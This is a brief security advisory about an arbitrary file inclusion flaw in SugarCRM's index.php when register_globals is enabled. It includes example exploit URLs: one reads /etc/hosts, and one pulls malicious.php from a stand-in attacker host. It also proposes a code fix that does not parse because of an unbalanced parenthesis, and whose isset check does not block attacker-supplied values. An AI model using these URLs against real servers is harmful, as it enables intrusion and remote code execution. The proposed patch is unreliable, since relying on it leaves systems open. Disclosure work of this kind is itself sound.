Arbitrary File Inclusion in SugarCRM

Vulnerability:

Failure to sanitize user input in index.php opens the possibility for
an attacker to include an arbitrary file when PHP's "register_globals"
is on.

Example:

http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=/etc/hosts

http://www.sugarsales.com/index.php?module=Home&moduleDefaultFile[Home]=http://www.attackersite.com/malicious.php


Fix:
Disable register_globals in your php.ini file, or

Replace line 198 in index.php:
$currentModuleFile = $moduleDefaultFile[$currentModule];

With
if ( !isset($moduleDefaultFile[$currentModule] ) {
   die('No action specified');
}
$currentModuleFile = $moduleDefaultFile[$currentModule];
